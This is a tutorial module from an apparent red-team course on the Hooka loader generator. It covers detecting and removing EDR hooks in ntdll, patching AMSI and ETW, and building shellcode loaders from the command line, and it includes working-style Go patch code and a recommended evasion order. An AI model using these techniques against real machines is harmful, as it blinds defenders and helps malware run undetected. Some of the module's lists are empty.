Difficulty: Intermediate

Module 4: Unhooking & Patching

If you cannot avoid the hooks, tear them out.

Module Objective

While Module 3 showed how to bypass hooks using direct syscalls, this module covers the complementary approach: removing hooks entirely and disabling telemetry sources. You will learn how EDR inline hooks work at the byte level, how Hooka detects and removes them through three unhooking methods, and how AMSI and ETW patching eliminate two additional detection vectors.

1. How EDR Hooking Works

EDR products install inline hooks (also called detours) on critical ntdll.dll functions. An inline hook replaces the first few bytes of a function with a JMP instruction that redirects execution to the EDR's monitoring code. After inspecting the call, the EDR can allow it to proceed, modify arguments, or block it entirely.

Anatomy of an Inline Hook

Before Hooking (Clean)

ASMNtWriteVirtualMemory:
  4C 8B D1        mov r10, rcx
  B8 3A 00 00 00  mov eax, 0x3A
  0F 05           syscall
  C3              ret

After Hooking (EDR)

ASMNtWriteVirtualMemory:
  E9 XX XX XX XX  jmp EDR_Handler
  00 00 00        (clobbered bytes)
  0F 05           syscall
  C3              ret

The JMP instruction (opcode 0xE9) is a 5-byte relative jump. It overwrites the original mov r10, rcx (3 bytes) and the first 2 bytes of mov eax, SSN. The original bytes are saved by the EDR so it can execute them after inspection (this is called the trampoline).

What EDRs Hook

EDR products typically hook a targeted set of sensitive NT functions. Common targets include:

FunctionWhy It's Monitored
NtAllocateVirtualMemoryDetects memory allocation for shellcode
NtWriteVirtualMemoryDetects writing shellcode to process memory
NtProtectVirtualMemoryDetects RW → RX permission changes
NtCreateThreadExDetects new thread creation for execution
NtMapViewOfSectionDetects DLL injection via section mapping
NtQueueApcThreadDetects APC-based injection
NtOpenProcessDetects cross-process handle acquisition
NtResumeThreadDetects resuming a suspended (injected) thread

2. Hook Detection

Before unhooking, Hooka can detect which functions are hooked. This is useful both for reconnaissance (understanding which EDR is present) and for targeted unhooking (only restore the functions you need).

DetectHooks()

Scans all exported functions in ntdll.dll and returns a list of hooked ones:

Go// Detect all hooked functions in ntdll
func DetectHooks() ([]string, error) {
    ntdll := GetModuleHandle("ntdll.dll")
    exports := parseExportTable(ntdll)

    var hooked []string
    for _, exp := range exports {
        stub := readBytes(exp.Address, 5)
        // Check for JMP at start (standard hook)
        if stub[0] == 0xE9 {
            hooked = append(hooked, exp.Name)
            continue
        }
        // Check for JMP after mov r10, rcx (Tartarus-style)
        if stub[0] == 0x4C && stub[1] == 0x8B && stub[2] == 0xD1 {
            if stub[3] == 0xE9 {
                hooked = append(hooked, exp.Name)
            }
        }
    }
    return hooked, nil
}

IsHooked(funcName)

Checks a single specific function. Use IsHooked("NtAllocateVirtualMemory") for targeted checks, or DetectHooks() to scan all exports at once:

Gohooked, _ := hooka.IsHooked("NtAllocateVirtualMemory")  // single check
allHooked, _ := hooka.DetectHooks()                       // scan all exports
fmt.Printf("Found %d hooked functions\n", len(allHooked))

Practical Use

Running DetectHooks() in a lab with an EDR installed reveals exactly which functions the EDR monitors. Different EDR products hook different sets of functions, so this output can even help identify which EDR is present. CrowdStrike Falcon, for example, hooks a different set of functions than SentinelOne or Elastic EDR.

3. Classic Unhooking

ClassicUnhook(funcnames []string, dllpath string) restores specific hooked functions by reading their clean bytes from the DLL file on disk and overwriting the hooked bytes in memory.

Classic Unhooking Flow

Open DLL from Disk
C:\Windows\System32\ntdll.dll
Parse PE Headers
Find .text section
Locate Function
Match export by name
Read Clean Bytes
Original stub from disk
Overwrite in Memory
Replace hooked bytes
Go// Classic Unhooking - restore specific functions
func ClassicUnhook(funcNames []string, dllPath string) error {
    // Read the clean DLL from disk
    cleanDLL, err := os.ReadFile(dllPath)
    if err != nil {
        return err
    }

    // Parse the PE to find exports and .text section
    pe := parsePE(cleanDLL)
    textSection := pe.Section(".text")

    // Get the in-memory ntdll base
    ntdllBase := GetModuleHandle("ntdll.dll")

    for _, funcName := range funcNames {
        // Find function offset in clean DLL
        funcOffset := pe.ExportOffset(funcName)
        cleanBytes := cleanDLL[funcOffset : funcOffset+STUB_SIZE]

        // Get function address in memory
        funcAddr := GetProcAddress(ntdllBase, funcName)

        // Make memory writable
        VirtualProtect(funcAddr, STUB_SIZE,
            PAGE_EXECUTE_READWRITE, &oldProtect)

        // Overwrite hooked bytes with clean ones
        copy(memorySlice(funcAddr, STUB_SIZE), cleanBytes)

        // Restore original protection
        VirtualProtect(funcAddr, STUB_SIZE,
            oldProtect, &tmp)
    }
    return nil
}

// Usage
hooka.ClassicUnhook(
    []string{"NtAllocateVirtualMemory", "NtWriteVirtualMemory",
             "NtProtectVirtualMemory", "NtCreateThreadEx"},
    `C:\Windows\System32\ntdll.dll`,
)

Pros and Cons

Pros: Surgical precision — only restores the functions you specify, leaving the rest of the EDR's hooks intact. Smaller memory footprint and less suspicious than full DLL replacement.

Cons: Requires knowing which functions are hooked. If you miss one, the EDR still sees those calls. Also, reading the DLL from disk can be detected (file access monitoring).

4. Full DLL Unhooking

FullUnhook(dllsToUnhook []string) takes a more aggressive approach: it replaces the entire .text section of each specified DLL in memory with the clean version from disk. This removes all hooks at once, regardless of which specific functions were targeted.

Go// Full DLL Unhooking - replace entire .text sections
func FullUnhook(dllNames []string) error {
    for _, dllName := range dllNames {
        dllPath := filepath.Join(os.Getenv("WINDIR"), "System32", dllName)
        cleanDLL, _ := os.ReadFile(dllPath)
        cleanText := parsePE(cleanDLL).SectionData(".text")

        dllBase := GetModuleHandle(dllName)
        memPE := parsePEFromMemory(dllBase)
        memTextAddr := dllBase + memPE.SectionRVA(".text")
        memTextSize := memPE.SectionSize(".text")

        VirtualProtect(memTextAddr, memTextSize, PAGE_EXECUTE_READWRITE, &oldProtect)
        copy(memorySlice(memTextAddr, memTextSize), cleanText)
        VirtualProtect(memTextAddr, memTextSize, oldProtect, &tmp)
    }
    return nil
}

// Usage: unhook ntdll and kernelbase
hooka.FullUnhook([]string{"ntdll.dll", "kernelbase.dll"})

Detection Considerations

Full DLL unhooking is powerful but detectable. The act of reading ntdll.dll from disk and making the .text section writable are both observable events. Some EDRs periodically re-scan their hooks and will detect that they have been removed. Additionally, the VirtualProtect call on the .text section of ntdll.dll itself can be flagged as suspicious.

5. Perun's Fart (PerunsUnhook)

PerunsUnhook() is a specialized unhooking technique that specifically targets ntdll.dll. Named after the Slavic god Perun, this method uses a different approach to obtain a clean copy of ntdll — it maps a fresh copy from the KnownDLLs directory rather than reading from disk.

Go// Perun's Fart - ntdll restoration via KnownDLLs
func PerunsUnhook() error {
    // Open section handle to clean ntdll from KnownDLLs
    var hSection uintptr
    objectName := initUnicodeString(`\KnownDlls\ntdll.dll`)
    objectAttrs := OBJECT_ATTRIBUTES{
        Length: uint32(unsafe.Sizeof(OBJECT_ATTRIBUTES{})),
        ObjectName: &objectName,
    }
    NtOpenSection(&hSection, SECTION_MAP_READ|SECTION_MAP_EXECUTE, &objectAttrs)

    // Map the clean ntdll into our process
    var cleanBase, viewSize uintptr
    NtMapViewOfSection(hSection, currentProcess,
        &cleanBase, 0, 0, nil, &viewSize, ViewUnmap, 0, PAGE_READONLY)

    // Replace hooked .text section with clean bytes
    hookedBase := GetModuleHandle("ntdll.dll")
    cleanText := getSectionData(cleanBase, ".text")
    hookedTextAddr := hookedBase + getSectionRVA(hookedBase, ".text")
    hookedTextSize := getSectionSize(hookedBase, ".text")

    VirtualProtect(hookedTextAddr, hookedTextSize, PAGE_EXECUTE_READWRITE, &oldProtect)
    copy(memorySlice(hookedTextAddr, hookedTextSize), cleanText)
    VirtualProtect(hookedTextAddr, hookedTextSize, oldProtect, &tmp)

    NtUnmapViewOfSection(currentProcess, cleanBase)
    NtClose(hSection)
    return nil
}

Why KnownDLLs Instead of Disk?

The \KnownDlls\ directory is a kernel-maintained cache of trusted system DLLs. Mapping from KnownDLLs avoids the file system entirely — no CreateFile or ReadFile calls that an EDR might monitor. The section object is already in memory (kernel space), so the only observable action is the NtMapViewOfSection call itself.

6. Unhooking Method Comparison

MethodFunctionScopeSource of Clean BytesStealthSpeed
ClassicClassicUnhook()Selected functions onlyDLL on diskMedium (file read)Fast
Full DLLFullUnhook()Entire .text of any DLLDLL on diskLow (large write + file read)Medium
Perun's FartPerunsUnhook()Entire .text of ntdll onlyKnownDLLs (kernel cache)High (no file access)Fast

Which Method Should You Use?

For most scenarios, Perun's Fart is the best choice for ntdll unhooking because it avoids disk access entirely. Use Classic when you only need to unhook a few specific functions and want minimal impact. Use Full DLL when you need to unhook libraries beyond ntdll (e.g., kernelbase.dll, kernel32.dll) where KnownDLLs mapping is not applicable.

7. AMSI Patching

The Antimalware Scan Interface (AMSI) is a Windows framework that allows applications to send content to the installed antivirus for scanning. PowerShell, .NET, VBScript, JScript, and Windows Script Host all use AMSI. A loaded shellcode runner that uses any of these technologies (or loads .NET assemblies) will have its content scanned through AMSI.

Hooka provides two independent methods to disable AMSI:

PatchAmsi() — Method 1

Patches AmsiScanBuffer in amsi.dll to return immediately with a clean result. The patch writes xor eax, eax; ret (3 bytes: 31 C0 C3) at the function entry, making every scan return AMSI_RESULT_CLEAN (0):

Go// AMSI Patch Method 1: Patch AmsiScanBuffer to always return clean
func PatchAmsi() error {
    amsi := LoadLibrary("amsi.dll")
    target := GetProcAddress(amsi, "AmsiScanBuffer")
    patch := []byte{0x31, 0xC0, 0xC3}  // xor eax, eax + ret
    VirtualProtect(target, len(patch), PAGE_EXECUTE_READWRITE, &oldProtect)
    copy(memorySlice(target, len(patch)), patch)
    VirtualProtect(target, len(patch), oldProtect, &tmp)
    return nil
}

PatchAmsi2() — Method 2

Patches AmsiInitialize instead, preventing AMSI from initializing at all. Writes mov eax, 0x80070057; ret to make the function return E_INVALIDARG immediately. If AMSI never initializes, no scanning occurs.

Why Two Methods?

Having two independent patching methods provides redundancy. If one method is detected and blocked by a security product (e.g., the EDR monitors writes to AmsiScanBuffer), the other method targeting a different function may succeed. Hooka enables AMSI patching by default in generated loaders.

8. ETW Patching

Event Tracing for Windows (ETW) is the telemetry backbone of Windows. Security products subscribe to ETW providers to receive events about process creation, thread activity, network connections, image loads, and more. The primary function for emitting ETW events is EtwEventWrite in ntdll.dll.

Hooka provides two methods to disable ETW event emission:

PatchEtw() — Method 1

Patches EtwEventWrite in ntdll.dll to return STATUS_SUCCESS (0) immediately without writing any events. Uses the same xor eax, eax; ret patch technique as AMSI patching:

Go// ETW Patch: Neuter EtwEventWrite so no events are emitted
func PatchEtw() error {
    ntdll := GetModuleHandle("ntdll.dll")
    target := GetProcAddress(ntdll, "EtwEventWrite")
    patch := []byte{0x33, 0xC0, 0xC3}  // xor eax, eax + ret
    VirtualProtect(target, len(patch), PAGE_EXECUTE_READWRITE, &oldProtect)
    copy(memorySlice(target, len(patch)), patch)
    VirtualProtect(target, len(patch), oldProtect, &tmp)
    return nil
}

PatchEtw2() — Method 2

Targets NtTraceEvent instead, a different function in the ETW chain. This provides an alternative if EtwEventWrite is being monitored for integrity. The patch technique is identical — overwrite the function entry with xor eax, eax; ret.

Impact of ETW Patching

Disabling ETW silences a significant portion of the telemetry that EDR agents consume. Without EtwEventWrite, the EDR loses visibility into .NET assembly loads, managed code execution, and numerous other runtime events. However, the absence of expected ETW events can itself be a detection signal — if an EDR notices that ETW events suddenly stop flowing from a process, it may flag that process as suspicious.

9. Default Behavior and CLI Flags

Hooka enables both AMSI and ETW patching by default in all generated loaders. This is because most real-world scenarios benefit from disabling these telemetry sources before injection occurs. To disable them:

Bash# Default: AMSI + ETW patching enabled
./hooka -i shellcode.bin -o loader.exe

# Disable AMSI patching
./hooka -i shellcode.bin -o loader.exe --no-amsi

# Disable ETW patching
./hooka -i shellcode.bin -o loader.exe --no-etw

# Disable both
./hooka -i shellcode.bin -o loader.exe --no-amsi --no-etw

10. The Loader Startup Sequence

Understanding the order of operations in a Hooka-generated loader is critical. Patching and unhooking must happen before injection, because the injection APIs are what the EDR is trying to monitor:

Hooka Loader Startup Sequence

1. Sandbox Checks
Abort if VM detected
2. Patch AMSI
Disable scan interface
3. Patch ETW
Disable event tracing
4. Unhook ntdll
Remove EDR hooks
5. Decrypt Shellcode
AES/3DES/RC4/XOR
6. Inject & Execute
Chosen technique

This order is deliberate:

11. Detection and Countermeasures

The Arms Race

Patching and unhooking are not undetectable. Security products are evolving to counter these techniques:

Despite these countermeasures, patching and unhooking remain effective against many deployed security products. The key is combining multiple techniques so no single defense gap allows detection.

Knowledge Check

Q1: What does Perun's Fart (PerunsUnhook) use as its source of clean ntdll bytes?

A) Downloads a fresh copy from Microsoft's servers
B) Maps a clean copy from the KnownDLLs kernel cache
C) Reads ntdll.dll from the System32 directory on disk
D) Extracts it from the running kernel memory

Q2: Why does Hooka patch AMSI and ETW before performing unhooking?

A) To silence telemetry that would report the unhooking activity itself
B) Because AMSI prevents DLLs from being loaded
C) ETW patching is required before any memory can be allocated
D) AMSI blocks all process creation until patched

Q3: What is a key limitation of user-mode unhooking techniques?

A) They only work on 32-bit Windows
B) They require administrator privileges
C) Kernel-level callbacks and ETW-TI cannot be disabled from user mode
D) They corrupt the Windows registry